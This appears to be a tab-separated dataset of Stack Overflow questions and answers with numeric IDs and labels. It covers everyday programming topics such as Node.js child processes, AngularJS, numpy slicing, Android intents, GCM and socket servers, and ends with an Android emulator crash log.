37522010	0	Difference between ChildProcess close, exit events <p>When spawning child processes via <code>spawn()/exec()/...</code> in Node.js, there is a <code>'close'</code> and an <code>'exit'</code> event on child processes.</p> <p>What is the difference between those two and when do you need to use what?</p>
16886701	0	 <p>You have both the option. You could stream data directly from Amazon S3 or first copy it to HDFS and then process it locally. The first way is good if you only intend to read the data once. And if your plan is to query the same input data multiple times, then you'd probably want to copy it to HDFS first.</p> <p>And yes, by using S3 as an input to MapReduce you lose the data locality optimization. Also, if your plan is to use S3 as a replacement for HDFS, I would recommend you to go with <code>S3 Block FileSystem</code> instead of <code>S3 Native FileSystem</code> as it imposes a limit of 5GB on file size.</p> <p>HTH</p>
24801216	0	Error: [$rootScope:inprog] $digest already in progress using angular.copy <p>I have an input field with a ng-blur function. My blur function uses Restangular to do a customPUT to the server and then does an angular.copy. It seems the line that causes the error is the angular.copy.</p> <p>Input field:</p> <pre><code>&lt;input type="text" ng-model="le.instance.from" ng-blur="blurField(le.instance.from, $event)"&gt; </code></pre> <p>Blur handler</p> <pre><code>$scope.blurField = function (fieldNewValue, event) { $scope.le.instance.customPUT({markSaved: true}).then(function(){ angular.copy($scope.le.instance, $scope.leSaved); }); }; </code></pre> <p>The line causing the problem is the angular.copy one. I understand what is this problem but I can't see why doing an angular copy causes another digest to be run... I'm just copying my model object to another object. </p> <p>Also on my controller I'm not using any call to $apply or $digest.</p> <p>Any tips to understand / debug this?</p>
388509	0	 <pre><code>protected void MyListView_DataBind(object sender, ListViewItemEventArgs e){ if(e.Item.ItemType == ListViewItemType.DataItem){ MyObject p = (MyObject)((ListViewDataItem)e.Item).DataItem; } } </code></pre> <p>You'll want to do the type check so that you don't try and do a cast when you're working on say, the header item.</p>
24864133	0	how to mark a portion of a TextField as readonly in javafx? <p>i wanted to mark a part of the <code>TextField</code> as readonly. Is it possible to do in JavaFX? Basically for a xml editor i want to make xml tags values to be editable but not the tags itself. So wanted to know how to make the a part of the <code>TextField</code> as readonly.</p>
16117683	0	Before onCreateView starts <p>In PageFragment; I inflate a layout in onCreateView. But I want to inflate this layout before onCreateView loads. It could be inflated one time / or for every fragment; not important. </p> <p>How can I achieve it ?</p> <pre><code>public class PageFragment extends Fragment { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.page_quiz, container, false); tv = (TextView) view.findViewById(R.id.Text); LinearLayout ll = (LinearLayout) view.findViewById(R.id.questionList); return view; } } </code></pre>
13129797	0	 <pre><code>SELECT company_name,count(*) as cnt FROM works GROUP BY company_name ORDER BY cnt DESC </code></pre>
4854695	0	 <p>You need to pass your key in the HTTP Header. You can check out this material, which talks about how to talk to Azure storage via the REST API, including updating the header value: <a href="http://msdn.microsoft.com/en-us/library/dd179428.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/dd179428.aspx</a></p> <p>If interested in some .NET code samples, use Reflector on the Microsoft.WindowsAzure.StorageClient assembly that comes with the Windows Azure SDK to see how they are doing it.</p>
28583669	0	 <p>You will run into the same problem when using a Bootstrap theme beside the one in Extlib / BS4XPages plugin. In that case I don't use the minified CSS and edit it, commenting out the part where the glyphicons generally are defined (references to the font resources). As the icons are the same in every theme you can get this won't do any harm and the icons keep working. Some themes don't have the Glyphicon stuff in it and contain just additional CSS information for colors etc. In that case there is no problem with icons.</p>
7772630	0	Preventing browser loop <p>I've created an app that opens when clicking a specific URL. Obviously I've got something like this:</p> <pre><code> &lt;intent-filter&gt; &lt;data android:scheme="http" android:host="example.com"/&gt; &lt;action android:name="android.intent.action.VIEW"/&gt; &lt;category android:name="android.intent.category.BROWSABLE"/&gt; &lt;category android:name="android.intent.category.DEFAULT" /&gt; &lt;/intent-filter&gt; </code></pre> <p>So that's all great, whenever somebody clicks a link with <a href="http://example.com/whatever/stuff" rel="nofollow">http://example.com/whatever/stuff</a>... it'll open my app. However, within my app, after doing some stuff, I want to send the suer back to the default browser (or whichever browser/web view they were using when they clicked the link to begin with). My problem is that I end up creating a loop:</p> <ol> <li>User clicks link <a href="http://example.com/xxx" rel="nofollow">http://example.com/xxx</a> and my app opens.</li> <li>My app does stuff, and now wants to send the user to a different URL, eg. <a href="http://example.com/yyy" rel="nofollow">http://example.com/yyy</a></li> <li><p>The intent that my app sends, ends up just going back to itself (my app).</p> <pre><code>Intent httpIntent = new Intent(Intent.ACTION_VIEW); String theNewURL = http://example.com/yyy; httpIntent.setData(Uri.parse(theNewURL)); startActivity(httpIntent); </code></pre></li> </ol> <p>How can I get my <code>httpIntent</code> to use the default browser (or wherever the user came from to begin with) instead of calling my app again?</p> <p>Edit: I've been able to solve the problem in a make-shift way, by making a CNAME record of one of my own domains (as a sort of alias) that goes to the same spot as <a href="http://example.com" rel="nofollow">http://example.com</a>. It sucks because the user now sees a different URL, but it still works in that it doesn't invoke the intent. (Am I even using the right language when I talk about intents?)</p>
29833538	0	Convert 12 hour character time to 24 hour <p>I have a data set with the time in character format. I’m attempting to covert this from a 12 hour format to 24. I have done some searching, but everything I have found seems to assume the characters are already in 24 hour format. Here is an example of the times I'm working with.</p> <pre><code>times &lt;- c("9:06 AM", "4:42 PM", "3:05 PM", "12:00 PM", "3:38 AM") </code></pre>
27160225	0	 <p>That's how <code>$.extend()</code> works: it always modifies the first object in the argument list. If you don't want that, then:</p> <pre><code>var var3 = $.extend({}, var1, var2); </code></pre>
18265067	0	 <blockquote> <p>But why does writing to the index of "b" change the id.</p> </blockquote> <p>Because they're different things now. If you were to check <code>a</code>, <code>a[0]</code> is still <code>1</code> rather than <code>99</code> because <code>b</code> was a copy. If you didn't want this behavior, you wouldn't do the copy:</p> <pre><code>&gt;&gt;&gt; a = [1,2,3] &gt;&gt;&gt; b = a &gt;&gt;&gt; b[0] = 99 &gt;&gt;&gt; a[0] 99 </code></pre> <p>instead, you have this:</p> <pre><code>&gt;&gt;&gt; a = [1,2,3] &gt;&gt;&gt; b = a[:] &gt;&gt;&gt; b[0] = 99 &gt;&gt;&gt; a[0] 1 </code></pre> <p>Since you tagged <code>deepcopy</code>...it's something that only matters if your lists themselves contain mutable arguments. Say, for instance, you had:</p> <pre><code>&gt;&gt;&gt; from copy import deepcopy &gt;&gt;&gt; a = [[1,2],[3,4]] &gt;&gt;&gt; b = a &gt;&gt;&gt; c = a[:] &gt;&gt;&gt; d = deepcopy(a) </code></pre> <p>So <code>a</code> is <code>b</code>, <code>c</code> is a shallow copy, and <code>d</code> is a deep copy.</p> <pre><code>&gt;&gt;&gt; b[0] = 3 &gt;&gt;&gt; a [3, [3,4]] &gt;&gt;&gt; c [[1,2], [3,4]] &gt;&gt;&gt; d [[1,2], [3,4]] </code></pre> <p><code>b</code> is the same as <code>a</code>, but the copies were unaffected.</p> <pre><code>&gt;&gt;&gt; c[1][1] = 'hi' &gt;&gt;&gt; a [3, [3, 'hi']] &gt;&gt;&gt; c [[1, 2], [3, 'hi']] </code></pre> <p>If you replace the entries of <code>c</code>, <code>a</code> is unaffected. But if you still have the original lists <em>within</em> the entries, modifying one still shows up in the other. The nested lists are still the same.</p> <pre><code>&gt;&gt;&gt; d[1][1] = 10 &gt;&gt;&gt; a [3, [3, 'hi']] &gt;&gt;&gt; d [[1, 2], [3, 10]] </code></pre> <p>Since <code>d</code> was a deep copy, it copied the list as well as its nested lists, so we can modify it <em>and its elements</em> at will without worry about messing up the other copies.</p>
15679604	0	 <p>your codes looks fine.... but i think your are missing the <code>document.ready</code> function</p> <p>try this</p> <pre><code>jQuery(function(){ //ready function jQuery('nav').on('click', 'a', function(event){ console.log(jQuery(this)); }); }); </code></pre>
30044955	0	 <p>check the entries in the solr.xml file. it should have the entries like </p> <pre><code> &lt;core name="core0" instanceDir="./"/&gt; &lt;core name="core1" instanceDir="./"/&gt; </code></pre> <p>please refer the links below </p> <p><a href="http://docs.ckan.org/en/ckan-2.2/appendices/solr-multicore.html" rel="nofollow">http://docs.ckan.org/en/ckan-2.2/appendices/solr-multicore.html</a><br> <a href="http://docs.ckan.org/en/ckan-2.2/appendices/solr-multicore.html#creating-another-solr-core" rel="nofollow">http://docs.ckan.org/en/ckan-2.2/appendices/solr-multicore.html#creating-another-solr-core</a></p> <p><a href="https://wiki.apache.org/solr/CoreAdmin" rel="nofollow">https://wiki.apache.org/solr/CoreAdmin</a></p>
4965093	0	 <p>In your app delegate, look for this line:</p> <pre><code>EAGLView *glView = [EAGLView viewWithFrame:[window bounds] pixelFormat:kEAGLColorFormatRGB565 // kEAGLColorFormatRGBA8 depthFormat:0 // GL_DEPTH_COMPONENT16_OES ]; </code></pre> <p>or search for </p> <pre><code>EAGLView *glView </code></pre> <p>and you will find it..</p>
23752112	0	 <p>If you want to limit only one dimension then just do not limit the other:</p> <pre><code> component.setMaximumSize( new Dimension( Integer.MAX_VALUE, requiredMaxHeigth ) ); </code></pre>
37703654	0	 <p>Fabio, you were right about _Click eventhandler. But it did not solve my problem. My problem are causing groupboxes on my winform. Why, I don't know. This is my workaround for <strong>CheckStateChanged</strong> event that works like charm:</p> <pre><code> private void My_checkBox_CheckStateChanged(object sender, EventArgs e) { if (_addnew == true) { CheckBox my_cb = (CheckBox)sender; if ((my_cb.CheckState == CheckState.Indeterminate) &amp;&amp; (my_cb.Text == "Da")) { my_cb.Checked = false; my_cb.Text = "Ne"; } } } </code></pre>
32350274	0	 <p>The data you get back is clearly not a UTF-8 string containing JSON. We can see this because the string appears to be set to </p> <pre><code>Current character set: utf8 NULL </code></pre> <p>when the error message is printed out.</p> <p>I'd start by issuing the URL request from an ordinary web browser to make sure that the response is what you expect. </p>
2495912	0	 <p>This is supported in .NET 4.0 but not earlier.</p> <p><a href="http://msdn.microsoft.com/en-us/library/dd799517%28VS.100%29.aspx" rel="nofollow noreferrer">http://msdn.microsoft.com/en-us/library/dd799517%28VS.100%29.aspx</a></p>
2122151	0	Haxe PHP vs PHP - what language is better for creating Plugins for WordPress? <p>I want to create a WP plugin with use of WP DB tables and costume ones, Ajax requests Rss feeds reading and writing and media storing and Google maps. Such a crazy plugin it will be... </p> <p>So Haxe PHP or normal PHP - what language is better for creating Plugins for WordPress?</p> <p>BTW books blog articles and docs are appreciated as proofs for your answer… </p>
866020	0	 <p>You are attaching additional event handlers every time you call <code>.click</code>. That is why it is duplicating.</p> <pre><code>$('a.close-trigger').click(function(){ alert(test); $('#dialog').dialog('close'); }); </code></pre> <p>Pull that code out onto the same level as the other event binding and it should work as expected.</p>
8290218	0	 <p>You need to use a delegated handler as the input doesn't have class <code>input2</code> at the time the handler is applied.</p> <pre><code>$(document).on('focus','input.input1, textarea.input1', function() { $(this).addClass('input2').removeClass('input1'); }); $(document).on('blur','input.input2, textarea.input2', function() { $(this).addClass('input1').removeClass('input2'); }); </code></pre> <p>There are probably better ways to do this, however. I'd suggest using a third class to mark the inputs that need the class toggled, then just toggle the classes when the event occurs.</p> <pre><code>$('.needsToggle').on('focus blur', function() { $(this).toggleClass('input1 input2'); }); </code></pre> <p>If they always have class <code>input1</code> to start, you could use that instead of <code>needsToggle</code>.</p>
29552603	0	 <p>If i understand correctly you are trying to implement event based actions. Yes node.js has got some excellent web socket libraries such as <a href="https://github.com/Automattic/socket.io" rel="nofollow">socket.io</a> and <a href="https://github.com/sockjs/sockjs-client" rel="nofollow">sack.js</a></p> <p>You need to understand nodejs <a href="https://developer.yahoo.com/blogs/ydn/part-1-understanding-event-loops-writing-great-code-11401.html" rel="nofollow">event driven</a> pattern.</p> <p>Websocket protocol helps maintain full duplex connection between server and client. You can notify clients when any action happens in server and similar you can notify server when any action happens in client. Libraries provide flexibility to broadcast event to all connected client or selected ones. </p> <p>So it is basically <strong>emit</strong> and <strong>on</strong> that you will be using often. Go through the documentation, it will not take much time to learn. Let me know if you need any help.</p>
14098294	0	How to edit order without create a new order in magento 1.7 <p>Is there any way to edit an order in Magento without creating a new order from Magento admin? How can I accomplish that?</p>
7116644	0	 <p>Like most programming techniques, nested functions should be used when and only when they are appropriate.</p> <p>You aren't forced to use this aspect, but if you want, nested functions reduce the need to pass parameters by directly accessing their containing function's local variables. That's convenient. Careful use of "invisible" parameters can improve readability. Careless use can make code much more opaque.</p> <p>Avoiding some or all parameters makes it harder to reuse a nested function elsewhere because any new containing function would have to declare those same variables. Reuse is usually good, but many functions will never be reused so it often doesn't matter.</p> <p>Since a variable's type is inherited along with its name, reusing nested functions can give you inexpensive polymorphism, like a limited and primitive version of templates.</p> <p>Using nested functions also introduces the danger of bugs if a function unintentionally accesses or changes one of its container's variables. Imagine a for loop containing a call to a nested function containing a for loop using the same index without a local declaration. If I were designing a language, I would include nested functions but require an "inherit x" or "inherit const x" declaration to make it more obvious what's happening and to avoid unintended inheritance and modification.</p> <p>There are several other uses, but maybe the most important thing nested functions do is allow internal helper functions that are not visible externally, an extension to C's and C++'s static not extern functions or to C++'s private not public functions. Having two levels of encapsulation is better than one. It also allows local overloading of function names, so you don't need long names describing what type each one works on.</p> <p>There are internal complications when a containing function stores a pointer to a contained function, and when multiple levels of nesting are allowed, but compiler writers have been dealing with those issues for over half a century. There are no technical issues making it harder to add to C++ than to C, but the benefits are less.</p> <p>Portability is important, but gcc is available in many environments, and at least one other family of compilers supports nested functions - IBM's xlc available on AIX, Linux on PowerPC, Linux on BlueGene, Linux on Cell, and z/OS. See <a href="http://publib.boulder.ibm.com/infocenter/comphelp/v8v101index.jsp?topic=%2Fcom.ibm.xlcpp8a.doc%2Flanguage%2Fref%2Fnested_functions.htm" rel="nofollow">http://publib.boulder.ibm.com/infocenter/comphelp/v8v101index.jsp?topic=%2Fcom.ibm.xlcpp8a.doc%2Flanguage%2Fref%2Fnested_functions.htm</a></p> <p>Nested functions are available in some new (eg, Python) and many more traditional languages, including Ada, Pascal, Fortran, PL/I, PL/IX, Algol and COBOL. C++ even has two restricted versions - methods in a local class can access its containing function's static (but not auto) variables, and methods in any class can access static class data members and methods. The upcoming C++ standard has lamda functions, which are really anonymous nested functions. So the programming world has lots of experience pro and con with them.</p> <p>Nested functions are useful but take care. Always use any features and tools where they help, not where they hurt.</p>
20852111	0	 <p>Providing debug level output for the build process helped to work around the problem:</p> <pre><code>Tools-&gt;Options-&gt;Projects and Solutions-&gt;Build and Run-&gt;MSBuild project build output verbosity </code></pre>
21291451	1	Slicing multiple rows by single index <p>I have the following slicing problem in numpy.</p> <pre><code>a = np.arange(36).reshape(-1,4) a array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11], [12, 13, 14, 15], [16, 17, 18, 19], [20, 21, 22, 23], [24, 25, 26, 27], [28, 29, 30, 31], [32, 33, 34, 35]]) </code></pre> <p>In my problem always three rows represent one sample, in my case coordinates.</p> <p>I want to access this matrix in a way that if I use a[0:2] to get the following:</p> <pre><code>array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11], [12, 13, 14, 15], [16, 17, 18, 19], [20, 21, 22, 23]] </code></pre> <p>These are the first two coordinate samples. I have to extract a large amount of these coordinate sets from an array.</p> <p>Thanks</p> <p>Based on <a href="http://stackoverflow.com/questions/312443/how-do-you-split-a-list-into-evenly-sized-chunks-in-python">How do you split a list into evenly sized chunks in Python?</a>, I found the following solution, which gives me the desired result.</p> <pre><code>def chunks(l, n, indices): return np.vstack([l[idx*n:idx*n+n] for idx in indices]) chunks(a,3,[0,2]) array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11], [24, 25, 26, 27], [28, 29, 30, 31], [32, 33, 34, 35]]) </code></pre> <p>Probably this solution could be improved and somebody won't need the stacking.</p>
6009226	0	Omnibox API | Open specific window on specific keyword <p>I'm trying to create an omnibox shortcut, so when a user types <code>cp command</code> or <code>cp command 2</code> it will open either window 1, or window 2, but instead it opens both windows on "cp" or "cp {anything here}".</p> <p>Have I missed something from the API?</p> <p><strong>background.html</strong></p> <pre class="lang-java prettyprint-override"><code>&lt;script&gt; chrome.omnibox.onInputChanged.addListener( function sharePage(tweet, suggest) { suggest([ {content: "tweet", description: "Share on Twitter"} ]); }); // chrome.omnibox.onInputEntered.addListener( function sharePage(tweet) { chrome.tabs.getSelected(null, function (tab) { var url = "https://twitter.com/home?status=Check%20out%20" + encodeURIComponent(tab.url) + "%20via @Chromeplete" chrome.tabs.create ({"url": url}); }); }); &lt;/script&gt; &lt;script&gt; chrome.omnibox.onInputChanged.addListener( function sharePage(post, suggest) { suggest([ {content: "post", description: "Share on Facebook"} ]); }); // chrome.omnibox.onInputEntered.addListener( function sharePage(post) { chrome.tabs.getSelected(null, function (tab) { var url = "https://www.facebook.com/sharer.php?u" + encodeURIComponent(tab.url) + "&amp;appid=127651283979691" chrome.tabs.create ({"url": url}); }); }); &lt;/script&gt; </code></pre>
40061612	0	 <p>Executing shell commands in programs isn't very nice in my opinion so what you can do is to inspect the file programmatically.</p> <p>Take this example, we'll fill classNames with the list of all Java classes contained inside a jar file at <code>/path/to/jar/file.jar.</code></p> <pre><code>List&lt;String&gt; classNames = new ArrayList&lt;String&gt;(); ZipInputStream zip = new ZipInputStream(new FileInputStream("/path/to/jar/file.jar")); for (ZipEntry entry = zip.getNextEntry(); entry != null; entry = zip.getNextEntry()) { if (!entry.isDirectory() &amp;&amp; entry.getName().endsWith(".class")) { // This ZipEntry represents a class. Now, what class does it represent? String className = entry.getName().replace('/', '.').replace('$',''); // including ".class" classNames.add(className.substring(0, className.length() - ".class".length())); } } </code></pre> <p>Credit: <a href="http://stackoverflow.com/questions/15720822/how-to-get-names-of-classes-inside-a-jar-file">Here</a></p>
6620555	0	Socket programming: The Server <p>Ok so I've been trying to teach myself some socket programming. I wrote myself a little C# application with an async server and I understand most of it, except for the following:</p> <p>So the server has a port it listens on for connections then when it receives a connection it creates a different socket to do the communication on. This it what I dont understand... How does the communication happen between the client and the server when in theory the client has no idea what port has been elected for this new connection?</p> <p>Thanks for all your answers</p> <p>Edit: As far as I understand the listening thread listens on the default port, but all messages are then handled on a different socket for each client?</p> <p>Edit Again: Some how you guys are misunderstanding my question. I understand normal socket communication. My problem is with an async server where the listening socket is different from the connecting socket. Ie. </p> <ol> <li>Server listens on default port</li> <li>Client attrmpts to connect.</li> <li>Server receiver request.</li> <li><strong>Server then creates a communication socket between client and server and continues listening on the default port.</strong></li> </ol> <p>My problem is at the last step. How does the client now know how to communicate on the new socket? Here is some sample code <a href="http://msdn.microsoft.com/en-us/library/5w7b7x5f.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/5w7b7x5f.aspx</a></p>
8876398	0	 <p>You're not specific in terms of libraries you use.</p> <p>For example if you use CXF (Jax-WS in general) you can do the following:</p> <pre><code>// change endpoint URL ((BindingProvider)service).getRequestContext().put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "new url"); // new username. password will be provided by WS callback ((BindingProvider)service).getRequestContext().put(SecurityConstants.USERNAME, "username"); </code></pre> <p>If you're using Spring for the infrastructure you can autowire all proxies with one statement:</p> <pre><code>@Autowired private Map&lt;String, ServiceInterface&gt; interfaces; </code></pre> <p>If you want to <em>add web services dynamically</em> you have to decide whether this <em>dynamically</em> means <em>at any time</em> or <em>at application startup</em> - this however has nothing to do with web services - it's general programming model of autodiscovery (you can use database, one single remote source of available services, etc.)</p>
15109460	0	rails json api is returning 406 http error when used from an outside page (backbone and phonegap) <p>I've build a rails 3 application. This application has a json API. I've developed a html+javascript Backbone UI (Jquery ajax) that calls the API. Everything works fine.</p> <p>Now, I wan't to use this html+js in Phone Gap. When I test the application using chrome, with no security (chromium-browser --allow-file-access-from-files --disable-web-security) I get an 406 error from the API.</p> <p>I've performed some tests, and the problem is solved when I add ".json" to the url, however, this is not easy to manage inside backbone.</p> <p>Any one has experienced the same error?</p> <p>UPDATE solution found at: <a href="http://stackoverflow.com/questions/9241045/backbone-client-with-a-remote-rails-server">BackBone client with a remote Rails Server</a></p>
31988812	0	 <pre><code>try this if your's application is only access that .xml file 1. Create a Object globally object lockData = new object(); 2.Use than object to lock statement where you save and load xml lock(lockData ) { doc.Load("test.xml"); } lock(lockData ) { doc.Save("test.xml"); } </code></pre>
1298836	0	VS2008 on Windows 7 RTM with x64 compiler broken <p>I am having trouble getting x64 compilation to work on Windows 7 RTM (64-bit) with Visual Studio 2008 Professional (both with and without SP1). I have not installed the Windows 7 SDK, as <a href="http://blogs.msdn.com/windowssdk/archive/2009/06/15/installing-win-7-sdk-rc-and-vs2008-rtm-can-disable-vc-configuration-platform-choices.aspx" rel="nofollow noreferrer">Microsoft suggests might be the issue</a>. The problem is that there are no x64/64-bit choices in the Configuration Manager of Visual Studio. </p> <p>I do not have the "Microsoft Visual C++ Compilers 2008 Standard Edition" suggested in the link above installed on my computer. Any ideas what might fix this?</p> <p>I have checked that I have the x64 compiler and tools installed with Visual Studio.</p> <p><strong>Solution found</strong>: Uninstall VS completely and reinstall. Issue resolved after SP1 installed (again). Very strange.</p>
37508854	0	 <p><code>replace()</code> will return a new <code>String</code> where ALL occurrences of a particular character are changed, not just a character at a particular position. So your problem is that the repeated <code>replace()</code> statements are effectively modifying the values back and forth.</p> <p>Because a <code>String</code> is immutable, you cannot simply replace its characters with others dynamically. So, convert your code to use a <code>StringBuilder</code> instead.</p> <pre><code>StringBuilder buildSample = new StringBuilder(); buildSample.append(sample); </code></pre> <p>Now you can use <code>setCharAt()</code> instead of <code>replace()</code> to change the character at one position at a time.</p> <pre><code>buildSample.setCharAt(i, 'A'); </code></pre> <p>At the end, you can return <code>buildSample.toString()</code>.</p> <p>As for changing each letter A to F to its complement, if only these six letters are required, a hard-coded function with a <code>switch</code> statement would do. Otherwise you can use a function like <code>complementaryLetter()</code> below, which returns the complement after checking the ASCII value of the character. This will work for all characters. You can add code to handle invalid cases, for non-character input.</p> <p><strong>A complete working code:</strong></p> <pre><code>public class Replace { public static void main(String[] args) { String s1 = "ABCDEFA"; System.out.println(s1); s1 = changeSample(s1); System.out.println(s1); } public static char complementaryLetter(char letter) { char retChar = 'A'; if ((int) letter % 2 == 0) retChar = (char) ((int)letter - 1); else retChar = (char) ((int) letter + 1); return retChar; } public static String changeSample(String sample) { StringBuilder buildSample = new StringBuilder(); buildSample.append(sample); for (int i = 0; i &lt; sample.length(); i++) { buildSample.setCharAt(i, complementaryLetter(sample.charAt(i))); } return buildSample.toString(); } } </code></pre>
12982499	0	Windows Phone 7.5 App download <p>Do I need active phone connection to download app from the Windows Market Place?</p> <p>When I try to install the App from MarKet Place, I receive a error</p> <blockquote> <p>we tried sending a download request to your phone but we did not reeive a response.</p> </blockquote> <p>I gave continue to send the email on re-install. </p> <p>Received re-install email, clicked on the link, and it goes back to same screen and the same error occurs again.</p>
1125281	0	 <p>Grab it once and cache it on your side.</p>
11299312	0	Leaked IntentReceiver in Google Cloud Messaging <p>I have implemented GCM in my app and I am using <a href="http://developer.android.com/guide/google/gcm/client-javadoc/index.html" rel="nofollow">GSMRegistrar</a> as suggested <a href="http://pages.citebite.com/e2n7j5s5mxct" rel="nofollow">here</a>. No I am getting an error in logcat</p> <pre><code>7-02 23:35:15.830: E/ActivityThread(10442): Activity com.abc.xyz.mnp has leaked IntentReceiver com.google.android.gcm.GCMBroadcastReceiver@44f8fb68 that was originally registered here. Are you missing a call to unregisterReceiver()? </code></pre> <p>What I can understand from this and looking at the code for <code>GSMRegistrar</code> is I need to to call <code>GSMRegistrar.onDestroy(this)</code> but I could not understand where should I call this? Calling in <code>onDestroy()</code> of activity <code>mnp</code> causes it to stop retrying for <code>GSM Registartion</code></p>
3488578	0	Is SMS data 8 bits until transmitted? <p>A lot of what I have recently read about SMS uses a specification of 140 octet characters, where most uses of SMS I am aware of use 160 septet characters. A UDH is 5 octets long, meaning if I want to send concatenated SMS I would only have 135 octet characters for my message data. This would allow me 154 septet characters after the UDH. </p> <p>Do I take a 154 octet character message, append it to the 5 octet UDH, and send this to the modem as the message text, or do I have to encode my 154 message octet characters into a 7 bit character string, encode the UDH as a 7 bit string, concatenate the two, and send that text to the modem?</p>
5367067	0	Do share buttons (facebook, stumbleupon, twitter, etc) incur a page-load penalty from Google? <p><strong>Our site saw traffic from Google drop significantly yesterday (only 5% traffic left in overnight)</strong>. I asked around. People say that site loading performance could caused the issue.</p> <p>I've looked at the performance. Site is loading in 1 or 2 seconds if no external links such as Google ads or share button. I cannot improve the Google Ads.</p> <p>For the share button, if you view the site <strong>Multiple Share buttons</strong> are loaded and it takes long time to load all of them. But, <strong>All of them are loaded in iframe</strong> (iframe page to different page but in same domain) to avoid slowing down page load.</p> <p>I think users are OK with this because all pages are loaded fast except the share buttons which come from each service site.</p> <p>But, my concern is that if <strong>Google care about all site loading including those in iframe</strong>, then it's big problem since it takes 10 seconds. If not, I will keep those share buttons.</p> <p><strong>Should I keep the share buttons or need to get rid of those?</strong> (I used addthis, it's super slow. And I added each buttons myself)</p>
6255558	0	Why whenever I'm sending a mock GPS signal the emulator crashes? <p>Hey guys. Just like the title - whenever I'm trying to send a mock signal with DDMS in Eclipse it's crashing. Can someone provide me some guidance on that? Here's what I'm getting from the LogCat console:</p> <pre><code> 06-06 17:47:25.986: DEBUG/dalvikvm(123): GC_EXPLICIT freed 155K, 52% free 2716K/5639K, external 2110K/2137K, paused 71ms 06-06 17:47:27.366: INFO/DEBUG(30): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 06-06 17:47:27.366: INFO/DEBUG(30): Build fingerprint: 'generic/google_sdk/generic:2.3.1/GSI11/93351:eng/test-keys' 06-06 17:47:27.366: INFO/DEBUG(30): pid: 60, tid: 138 &gt;&gt;&gt; system_server &lt;&lt;&lt; 06-06 17:47:27.366: INFO/DEBUG(30): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 00000000 06-06 17:47:27.376: INFO/DEBUG(30): r0 00000000 r1 406bf150 r2 41adfab4 r3 4643dc74 06-06 17:47:27.376: INFO/DEBUG(30): r4 00000130 r5 00000000 r6 406bf150 r7 41adfab4 06-06 17:47:27.376: INFO/DEBUG(30): r8 84301321 r9 84302240 10 00100000 fp 00000001 06-06 17:47:27.376: INFO/DEBUG(30): ip 82f0e7d4 sp 4643dc60 lr 82f0ab37 pc 82f07d0e cpsr 00000030 06-06 17:47:27.666: INFO/DEBUG(30): #00 pc 00007d0e /system/lib/libandroid_servers.so 06-06 17:47:27.666: INFO/DEBUG(30): #01 pc 0000ab32 /system/lib/libandroid_servers.so 06-06 17:47:27.666: INFO/DEBUG(30): #02 pc 000012ca /system/lib/hw/gps.goldfish.so 06-06 17:47:27.676: INFO/DEBUG(30): #03 pc 000014ae /system/lib/hw/gps.goldfish.so 06-06 17:47:27.676: INFO/DEBUG(30): #04 pc 00011a7c /system/lib/libc.so 06-06 17:47:27.686: INFO/DEBUG(30): #05 pc 00011640 /system/lib/libc.so 06-06 17:47:27.686: INFO/DEBUG(30): code around pc: 06-06 17:47:27.686: INFO/DEBUG(30): 82f07cec ab04b082 9301cb04 6f646804 b00247a0 06-06 17:47:27.686: INFO/DEBUG(30): 82f07cfc bc08bc10 4718b002 b510b40c ab04b082 06-06 17:47:27.686: INFO/DEBUG(30): 82f07d0c 6804cb04 34f89301 47a06824 bc10b002 06-06 17:47:27.686: INFO/DEBUG(30): 82f07d1c b002bc08 46c04718 b510b40c ab04b082 06-06 17:47:27.686: INFO/DEBUG(30): 82f07d2c 9301cb04 34986804 47a06824 bc10b002 06-06 17:47:27.696: INFO/DEBUG(30): code around lr: 06-06 17:47:27.696: INFO/DEBUG(30): 82f0ab14 91099008 f7fb6aa0 900aeb14 1c3a910b 06-06 17:47:27.696: INFO/DEBUG(30): 82f0ab24 6b646b23 930c1c28 1c31940d f7fd9b0f 06-06 17:47:27.696: INFO/DEBUG(30): 82f0ab34 4906f8e7 44791c28 f7ff3150 b011fe1d 06-06 17:47:27.696: INFO/DEBUG(30): 82f0ab44 46c0bdf0 0000454c 000042c8 00000786 06-06 17:47:27.696: INFO/DEBUG(30): 82f0ab54 f7fbb510 bd10ec7c 4802b510 f7fb4478 06-06 17:47:27.696: INFO/DEBUG(30): stack: 06-06 17:47:27.696: INFO/DEBUG(30): 4643dc20 d97f62b7 06-06 17:47:27.696: INFO/DEBUG(30): 4643dc24 40c7d685 06-06 17:47:27.696: INFO/DEBUG(30): 4643dc28 0000000a 06-06 17:47:27.706: INFO/DEBUG(30): 4643dc2c 00000000 06-06 17:47:27.706: INFO/DEBUG(30): 4643dc30 0000ab90 [heap] 06-06 17:47:27.706: INFO/DEBUG(30): 4643dc34 81d48bd3 /system/lib/libdvm.so 06-06 17:47:27.706: INFO/DEBUG(30): 4643dc38 0000ab90 [heap] 06-06 17:47:27.706: INFO/DEBUG(30): 4643dc3c 4643dc6c 06-06 17:47:27.706: INFO/DEBUG(30): 4643dc40 00010004 [heap] 06-06 17:47:27.706: INFO/DEBUG(30): 4643dc44 81d3761b /system/lib/libdvm.so 06-06 17:47:27.706: INFO/DEBUG(30): 4643dc48 00000000 06-06 17:47:27.706: INFO/DEBUG(30): 4643dc4c afd0dcc4 /system/lib/libc.so 06-06 17:47:27.716: INFO/DEBUG(30): 4643dc50 00000000 06-06 17:47:27.716: INFO/DEBUG(30): 4643dc54 4643de00 06-06 17:47:27.716: INFO/DEBUG(30): 4643dc58 df002777 06-06 17:47:27.716: INFO/DEBUG(30): 4643dc5c e3a070ad 06-06 17:47:27.716: INFO/DEBUG(30): #00 4643dc60 00000001 06-06 17:47:27.716: INFO/DEBUG(30): 4643dc64 8053bf25 /system/lib/libandroid_runtime.so 06-06 17:47:27.716: INFO/DEBUG(30): 4643dc68 00000130 06-06 17:47:27.716: INFO/DEBUG(30): 4643dc6c 82f0ab37 /system/lib/libandroid_servers.so 06-06 17:47:27.716: INFO/DEBUG(30): 